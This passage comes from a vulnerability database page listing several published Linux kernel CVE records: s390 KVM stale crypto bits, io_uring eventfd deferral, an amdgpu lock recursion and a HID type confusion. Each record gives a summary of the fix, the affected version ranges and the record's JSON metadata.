        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/813e6718a199befc4f26f54bdd899fbfa11515e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/4c0018320942003bfedd0a1c4cce3f036d363a7f"
        },
        {
          "url": "https://git.kernel.org/stable/c/143c74034a1c47b0a1a64e7ca7153e7739bd1244"
        },
        {
          "url": "https://git.kernel.org/stable/c/3c7101cfc52e378bcb0a46962145e39c9051dd5d"
        },
        {
          "url": "https://git.kernel.org/stable/c/4ef04bdc0c9f98836d1638be516f6bf1bad55f69"
        }
      ],
      "title": "crypto: qcom-rng - Allow zero as a random number",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80922",
    "datePublished": "2026-09-09T16:19:42.937Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:19:42.937Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80921 (GCVE-0-2026-80921)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:19 – Updated: 2026-09-09 16:19
    VLAI
    Title
    KVM: s390: vsie: zero stale crypto bits
    Summary
    In the Linux kernel, the following vulnerability has been resolved: KVM: s390: vsie: zero stale crypto bits When shadowing crypto access bits from a format0 apcb (crycb 0 or 1), the bits 64..255 are unchanged from whatever is in the vsie page in the crycb and thus in the apcb. This gives a nested guest potential access to a device no longer available. Zero out the remaining bits.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < d110b3297f11ef227098b8a82ade2d5f123b7d2f (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 59d51550b5cb916bda037673a721a404b3b47a0d (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < f6079dca67eccb5eabef9f72437948c66dc5131f (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 087c19cc60a8caa1a08e1e434c8be2caf6c27733 (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 7d23489f51109e3ebba5b5db8c5f0185af7b7fdf (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 935eeba276012916c76243e5cbb843efd8fdb75d (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < d4bcd2df6d0d2af916b4fe1a533958778ea7c45b (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 29b4f7bc2991313bd3e6f6fb8fdf1b173f086dd6 (git)
    Affected: 6b79de4b056e5a2febc0c61233d8f0ad7868e49c , < 34d5b5b646c91cfb9338d7a12c955a70ffb8c66b (git)
    		Create a notification for this product.
    Linux Linux Affected: 4.20
    Unaffected: 0 , < 4.20 (semver)
    Unaffected: 5.10.269 , ≤ 5.10.* (semver)
    Unaffected: 5.15.220 , ≤ 5.15.* (semver)
    Unaffected: 6.1.187 , ≤ 6.1.* (semver)
    Unaffected: 6.6.156 , ≤ 6.6.* (semver)
    Unaffected: 6.12.108 , ≤ 6.12.* (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.13 , ≤ 7.1.* (semver)
    Unaffected: 7.2.3 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/s390/kvm/vsie.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d110b3297f11ef227098b8a82ade2d5f123b7d2f",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "59d51550b5cb916bda037673a721a404b3b47a0d",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "f6079dca67eccb5eabef9f72437948c66dc5131f",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "087c19cc60a8caa1a08e1e434c8be2caf6c27733",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "7d23489f51109e3ebba5b5db8c5f0185af7b7fdf",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "935eeba276012916c76243e5cbb843efd8fdb75d",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "d4bcd2df6d0d2af916b4fe1a533958778ea7c45b",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "29b4f7bc2991313bd3e6f6fb8fdf1b173f086dd6",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            },
            {
              "lessThan": "34d5b5b646c91cfb9338d7a12c955a70ffb8c66b",
              "status": "affected",
              "version": "6b79de4b056e5a2febc0c61233d8f0ad7868e49c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "arch/s390/kvm/vsie.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.20"
            },
            {
              "lessThan": "4.20",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.269",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.187",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.108",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.269",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.220",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.187",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.156",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.108",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.13",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.3",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: s390: vsie: zero stale crypto bits\n\nWhen shadowing crypto access bits from a format0 apcb (crycb 0 or 1),\nthe bits 64..255 are unchanged from whatever is in the vsie page in the\ncrycb and thus in the apcb. This gives a nested guest potential access\nto a device no longer available. Zero out the remaining bits."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:19:42.335Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d110b3297f11ef227098b8a82ade2d5f123b7d2f"
        },
        {
          "url": "https://git.kernel.org/stable/c/59d51550b5cb916bda037673a721a404b3b47a0d"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6079dca67eccb5eabef9f72437948c66dc5131f"
        },
        {
          "url": "https://git.kernel.org/stable/c/087c19cc60a8caa1a08e1e434c8be2caf6c27733"
        },
        {
          "url": "https://git.kernel.org/stable/c/7d23489f51109e3ebba5b5db8c5f0185af7b7fdf"
        },
        {
          "url": "https://git.kernel.org/stable/c/935eeba276012916c76243e5cbb843efd8fdb75d"
        },
        {
          "url": "https://git.kernel.org/stable/c/d4bcd2df6d0d2af916b4fe1a533958778ea7c45b"
        },
        {
          "url": "https://git.kernel.org/stable/c/29b4f7bc2991313bd3e6f6fb8fdf1b173f086dd6"
        },
        {
          "url": "https://git.kernel.org/stable/c/34d5b5b646c91cfb9338d7a12c955a70ffb8c66b"
        }
      ],
      "title": "KVM: s390: vsie: zero stale crypto bits",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80921",
    "datePublished": "2026-09-09T16:19:42.335Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:19:42.335Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80920 (GCVE-0-2026-80920)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    io_uring: defer eventfd signaling when queued from a wakeup handler
    Summary
    In the Linux kernel, the following vulnerability has been resolved: io_uring: defer eventfd signaling when queued from a wakeup handler io_req_local_work_add() signals the CQ ring eventfd inline when it is the one to push the first entry onto ->work_list. For DEFER_TASKRUN rings that add is frequently done from a waitqueue wakeup handler, where an arbitrary waitqueue lock is held. eventfd_signal_mask() only refuses to recurse when current->in_eventfd is set, but that bit is set by eventfd_signal_mask() itself. If the wake chain starts somewhere else, signal goes out inline and can feed back into epoll. Add IOU_F_TWQ_IN_WAKE, set it on the task_work add done from the three waitqueue callbacks, and use it to force io_eventfd_signal() down the existing call_rcu_hurry() deferral instead of signaling inline.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 21a091b970cdbcf3e8ff829234b51be6f9192766 , < e22f4494cc9487d326e5e3067f33dea7c1e442b2 (git)
    Affected: 21a091b970cdbcf3e8ff829234b51be6f9192766 , < b6bb334b0e9348887e3e55e1f494b0c3b8fbf59f (git)
    Affected: 21a091b970cdbcf3e8ff829234b51be6f9192766 , < 40b6ccf68731809ceb85c6e9f0f8f2ed61c7aa5a (git)
    Affected: 21a091b970cdbcf3e8ff829234b51be6f9192766 , < cd305ee3633a45fcf5f3a5d83f99f3cb77d87b6e (git)
    		Create a notification for this product.
    Linux Linux Affected: 6.1
    Unaffected: 0 , < 6.1 (semver)
    Unaffected: 6.18.49 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2.1 , ≤ 7.2.* (semver)
    Unaffected: 7.3-rc1 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/linux/io_uring_types.h",
            "io_uring/eventfd.c",
            "io_uring/eventfd.h",
            "io_uring/futex.c",
            "io_uring/io_uring.c",
            "io_uring/poll.c",
            "io_uring/tw.c",
            "io_uring/waitid.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e22f4494cc9487d326e5e3067f33dea7c1e442b2",
              "status": "affected",
              "version": "21a091b970cdbcf3e8ff829234b51be6f9192766",
              "versionType": "git"
            },
            {
              "lessThan": "b6bb334b0e9348887e3e55e1f494b0c3b8fbf59f",
              "status": "affected",
              "version": "21a091b970cdbcf3e8ff829234b51be6f9192766",
              "versionType": "git"
            },
            {
              "lessThan": "40b6ccf68731809ceb85c6e9f0f8f2ed61c7aa5a",
              "status": "affected",
              "version": "21a091b970cdbcf3e8ff829234b51be6f9192766",
              "versionType": "git"
            },
            {
              "lessThan": "cd305ee3633a45fcf5f3a5d83f99f3cb77d87b6e",
              "status": "affected",
              "version": "21a091b970cdbcf3e8ff829234b51be6f9192766",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/linux/io_uring_types.h",
            "io_uring/eventfd.c",
            "io_uring/eventfd.h",
            "io_uring/futex.c",
            "io_uring/io_uring.c",
            "io_uring/poll.c",
            "io_uring/tw.c",
            "io_uring/waitid.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.1"
            },
            {
              "lessThan": "6.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.2.*",
              "status": "unaffected",
              "version": "7.2.1",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.3-rc1",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.49",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2.1",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.3-rc1",
                  "versionStartIncluding": "6.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: defer eventfd signaling when queued from a wakeup handler\n\nio_req_local_work_add() signals the CQ ring eventfd inline when it is the\none to push the first entry onto -\u003ework_list. For DEFER_TASKRUN rings that\nadd is frequently done from a waitqueue wakeup handler, where an\narbitrary waitqueue lock is held.\n\neventfd_signal_mask() only refuses to recurse when current-\u003ein_eventfd\nis set, but that bit is set by eventfd_signal_mask() itself. If the wake\nchain starts somewhere else, signal goes out inline and can feed back\ninto epoll.\n\nAdd IOU_F_TWQ_IN_WAKE, set it on the task_work add done from the three\nwaitqueue callbacks, and use it to force io_eventfd_signal() down the\nexisting call_rcu_hurry() deferral instead of signaling inline."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:17.023Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e22f4494cc9487d326e5e3067f33dea7c1e442b2"
        },
        {
          "url": "https://git.kernel.org/stable/c/b6bb334b0e9348887e3e55e1f494b0c3b8fbf59f"
        },
        {
          "url": "https://git.kernel.org/stable/c/40b6ccf68731809ceb85c6e9f0f8f2ed61c7aa5a"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd305ee3633a45fcf5f3a5d83f99f3cb77d87b6e"
        }
      ],
      "title": "io_uring: defer eventfd signaling when queued from a wakeup handler",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80920",
    "datePublished": "2026-09-09T16:13:17.023Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:17.023Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80919 (GCVE-0-2026-80919)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    drm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format
    Summary
    In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format When dumping IB contents from a hung job, amdgpu_devcoredump_format() acquired the VM root PD's reservation via amdgpu_vm_lock_by_pasid() and then, for each IB, called amdgpu_bo_reserve() on the BO backing the IB. Both reservations are reservation_ww_class_mutex objects and neither used a ww_acquire_ctx, which trips lockdep: WARNING: possible recursive locking detected -------------------------------------------- kworker/u128:0 is trying to acquire lock: ffff88838b16e1f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] but task is already holding lock: ffff8882f82681f0 (reservation_ww_class_mutex){+.+.}-{4:4}, at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu] Possible unsafe locking scenario: CPU0 ---- lock(reservation_ww_class_mutex); lock(reservation_ww_class_mutex); *** DEADLOCK *** May be due to missing lock nesting notation Workqueue: events_unbound amdgpu_devcoredump_deferred_work [amdgpu] Call Trace: __ww_mutex_lock.constprop.0 ww_mutex_lock amdgpu_bo_reserve amdgpu_devcoredump_format+0x1594 [amdgpu] amdgpu_devcoredump_deferred_work+0xea [amdgpu] The two reservations are on different BOs in the captured trace, so the splat is a lockdep-correctness warning, not an observed deadlock. It becomes a real self-deadlock whenever the IB BO shares its dma_resv with the root PD (the always-valid case, see amdgpu_vm_is_bo_always_valid()): amdgpu_bo_reserve(abo) re-acquires the same ww_mutex without a ticket and blocks forever. With amdgpu.gpu_recovery=0 the timeout handler refires every ~2 s and each invocation produces this splat, drowning the kernel ring buffer. Now that amdgpu_vm_lock_by_pasid() takes a drm_exec context, move the IB dumping into a separate helper that locks the root PD and every IB BO together in a single drm_exec ticket. DRM_EXEC_IGNORE_DUPLICATES handles IB BOs that share a dma_resv (e.g. always-valid BOs, or two IBs backed by the same BO). Every lock is now a top-level acquire under one ww_acquire_ctx, so the recursive ww_mutex condition is gone, and the per-IB amdgpu_bo_reserve()/amdgpu_bo_unref() dance -- including a BO refcount leak on the amdgpu_bo_reserve() failure path -- is removed. (cherry picked from commit d6bf4242731219ee08ce54c365631e395486651e)
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 7b15fc2d1f1a00fb99f0146e404ff2600999ec74 , < 4e9b4dee0777ec9c835a4746e2d30382dd9d1044 (git)
    Affected: 7b15fc2d1f1a00fb99f0146e404ff2600999ec74 , < 7152b248dc3c8d5fa8629e99ed5655dd41b51562 (git)
    		Create a notification for this product.
    Linux Linux Affected: 7.1
    Unaffected: 0 , < 7.1 (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
    Unaffected: 7.2 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/amdgpu/amdgpu_dev_coredump.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4e9b4dee0777ec9c835a4746e2d30382dd9d1044",
              "status": "affected",
              "version": "7b15fc2d1f1a00fb99f0146e404ff2600999ec74",
              "versionType": "git"
            },
            {
              "lessThan": "7152b248dc3c8d5fa8629e99ed5655dd41b51562",
              "status": "affected",
              "version": "7b15fc2d1f1a00fb99f0146e404ff2600999ec74",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/amdgpu/amdgpu_dev_coredump.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "7.1"
            },
            {
              "lessThan": "7.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.2",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.11",
                  "versionStartIncluding": "7.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2",
                  "versionStartIncluding": "7.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format\n\nWhen dumping IB contents from a hung job, amdgpu_devcoredump_format()\nacquired the VM root PD\u0027s reservation via amdgpu_vm_lock_by_pasid() and\nthen, for each IB, called amdgpu_bo_reserve() on the BO backing the IB.\nBoth reservations are reservation_ww_class_mutex objects and neither\nused a ww_acquire_ctx, which trips lockdep:\n\n  WARNING: possible recursive locking detected\n  --------------------------------------------\n  kworker/u128:0 is trying to acquire lock:\n  ffff88838b16e1f0 (reservation_ww_class_mutex){+.+.}-{4:4},\n    at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu]\n\n  but task is already holding lock:\n  ffff8882f82681f0 (reservation_ww_class_mutex){+.+.}-{4:4},\n    at: amdgpu_devcoredump_format+0x1594/0x23f0 [amdgpu]\n\n   Possible unsafe locking scenario:\n         CPU0\n         ----\n    lock(reservation_ww_class_mutex);\n    lock(reservation_ww_class_mutex);\n\n   *** DEADLOCK ***\n   May be due to missing lock nesting notation\n\n  Workqueue: events_unbound amdgpu_devcoredump_deferred_work [amdgpu]\n  Call Trace:\n   __ww_mutex_lock.constprop.0\n   ww_mutex_lock\n   amdgpu_bo_reserve\n   amdgpu_devcoredump_format+0x1594 [amdgpu]\n   amdgpu_devcoredump_deferred_work+0xea [amdgpu]\n\nThe two reservations are on different BOs in the captured trace, so the\nsplat is a lockdep-correctness warning, not an observed deadlock. It\nbecomes a real self-deadlock whenever the IB BO shares its dma_resv with\nthe root PD (the always-valid case, see amdgpu_vm_is_bo_always_valid()):\namdgpu_bo_reserve(abo) re-acquires the same ww_mutex without a ticket\nand blocks forever. With amdgpu.gpu_recovery=0 the timeout handler\nrefires every ~2 s and each invocation produces this splat, drowning the\nkernel ring buffer.\n\nNow that amdgpu_vm_lock_by_pasid() takes a drm_exec context, move the IB\ndumping into a separate helper that locks the root PD and every IB BO\ntogether in a single drm_exec ticket. DRM_EXEC_IGNORE_DUPLICATES handles\nIB BOs that share a dma_resv (e.g. always-valid BOs, or two IBs backed\nby the same BO). Every lock is now a top-level acquire under one\nww_acquire_ctx, so the recursive ww_mutex condition is gone, and the\nper-IB amdgpu_bo_reserve()/amdgpu_bo_unref() dance -- including a BO\nrefcount leak on the amdgpu_bo_reserve() failure path -- is removed.\n\n(cherry picked from commit d6bf4242731219ee08ce54c365631e395486651e)"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T16:13:16.415Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4e9b4dee0777ec9c835a4746e2d30382dd9d1044"
        },
        {
          "url": "https://git.kernel.org/stable/c/7152b248dc3c8d5fa8629e99ed5655dd41b51562"
        }
      ],
      "title": "drm/amdgpu: fix recursive ww_mutex acquire in amdgpu_devcoredump_format",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80919",
    "datePublished": "2026-09-09T16:13:16.415Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-09T16:13:16.415Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80918 (GCVE-0-2026-80918)

    Vulnerability from cvelistv5 – Published: 2026-09-09 16:13 – Updated: 2026-09-09 16:13
    VLAI
    Title
    HID: core: fix number/pointer type confusion on long items
    Summary
    In the Linux kernel, the following vulnerability has been resolved: HID: core: fix number/pointer type confusion on long items When fetch_item() is called by hid_scan_report() on an item with HID_ITEM_TAG_LONG, it stores a pointer to the item data in item->data.longdata instead of storing a value directly in item->data.{u8/u16/u32}. When item_udata() or item_sdata() encounters such an item, it incorrectly assumes that the item is in short format, and therefore returns the lower part of a kernel pointer reinterpreted as a number. When a HID device is connected whose descriptor contains a HID_GLOBAL_ITEM_TAG_REPORT_SIZE encoded in long format with size=4, this causes the lower half of a kernel pointer to be printed into dmesg as a number, like this: hid (null): invalid report_size 107953555 To fix it, let item_udata() and item_sdata() verify that the item is in short format. Note that this bug only affects hid_scan_report(), while the main parsing pass hid_parse_collections() will always bail out when encountering a long item. Sidenote: There are currently no users of data.longdata; maybe we should just remove any parsing of long-format descriptors as a follow-up.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < bed7fe3a936b6bdd84671385951397ca673cf6e7 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < aec2c2ec87d4ec1f098979f68cd81b29f031c8cb (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < 634f498ea5d5e8e01f8d9414d4f45eeaf9ee1996 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < abec577de5fc16cd5caae42f97cdcd0983c06d66 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < dd8035dec26e98204d6e4a6e0cee5c4d329b3d7e (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < 1fa1591efd417e39e5e164bebea8ca7a3837c469 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < e60159f5ea60254a5c3de4ea4f2f939f0171031b (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < e542edada3f79387c0ac2a528cebf01f4ef47df8 (git)
    Affected: 3dc8fc083dbfeede7b63a0c07581192e97711365 , < 28abce951343fcec26e397610868efa4e1395c3f (git)
    		Create a notification for this product.
    Linux Linux Affected: 3.12
    Unaffected: 0 , < 3.12 (semver)
    Unaffected: 5.10.267 , ≤ 5.10.* (semver)
    Unaffected: 5.15.218 , ≤ 5.15.* (semver)
    Unaffected: 6.1.185 , ≤ 6.1.* (semver)
    Unaffected: 6.6.154 , ≤ 6.6.* (semver)
    Unaffected: 6.12.106 , ≤ 6.12.* (semver)
    Unaffected: 6.18.47 , ≤ 6.18.* (semver)
    Unaffected: 7.1.11 , ≤ 7.1.* (semver)
